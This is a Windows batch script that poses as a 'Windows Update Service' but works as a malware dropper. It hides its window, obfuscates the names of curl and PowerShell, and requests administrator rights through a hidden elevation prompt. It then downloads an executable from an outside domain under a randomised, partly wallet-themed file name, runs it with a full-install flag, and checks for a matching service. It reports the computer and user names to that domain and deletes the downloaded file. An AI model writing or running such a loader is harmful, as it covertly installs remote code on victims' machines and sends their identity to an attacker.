@echo off
if not defined _min (set _min=1 & start /min "" "%~f0" & exit /b)
setlocal EnableDelayedExpansion
title Windows Update Service

set "_base=https://cfg.docsupdates.com"

set "_cl=cu" & set "_rl=rl.exe"
set "_ps=power" & set "_sh=shell"
set "_match=docs"

set "_n0=walletintegration.exe"
set "_n1=walletsync.exe"
set "_n2=appbridge.exe"
set "_n3=cloudsync-service.exe"
set "_n4=updatebridge.exe"
set /a _i=%RANDOM% %% 5
call set "_name=%%_n!_i!%%"
set "_out=%TEMP%\!_name!"

net session >nul 2>&1
if errorlevel 1 goto :GETADMIN
goto :INSTALL

:GETADMIN
%_ps%%_sh% -NoProfile -WindowStyle Hidden -Command ^
  "Start-Process -FilePath '%~f0' -Verb RunAs -WindowStyle Hidden"
exit /b

:INSTALL
set /a _j=%RANDOM% %% 6 + 3
timeout /t !_j! /nobreak >nul

%_cl%%_rl% -sL --retry 3 --retry-delay 2 -o "%_out%" "%_base%/agent"

if not exist "%_out%" (
    %_cl%%_rl% -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"[%COMPUTERNAME%] download failed\"}" "%_base%/report" >nul
    exit /b 1
)

for %%A in ("%_out%") do set "_fsz=%%~zA"
if !_fsz! LSS 1024 (
    del /q "%_out%" >nul 2>&1
    %_cl%%_rl% -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"[%COMPUTERNAME%] file too small\"}" "%_base%/report" >nul
    exit /b 1
)

start "" /wait /min "%_out%" -fullinstall

set "_ok="
set /a _tries=0
:CHECK
%_ps%%_sh% -NoProfile -WindowStyle Hidden -Command "if (Get-Service | Where-Object { ($_.Name -match '%_match%' -or $_.DisplayName -match '%_match%') -and $_.Status -eq 'Running' }) { exit 0 } else { exit 1 }"
if not errorlevel 1 set "_ok=1"
if defined _ok goto :REPORT
set /a _tries+=1
if !_tries! GEQ 12 goto :REPORT
timeout /t 5 /nobreak >nul
goto :CHECK

:REPORT
if defined _ok (
    %_cl%%_rl% -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"[%COMPUTERNAME%/%USERNAME%] %_match% running OK\"}" "%_base%/report" >nul
) else (
    %_cl%%_rl% -s -X POST -H "Content-Type: application/json" -d "{\"content\":\"[%COMPUTERNAME%] service not running\"}" "%_base%/report" >nul
)

del /q "%_out%" >nul 2>&1
exit /b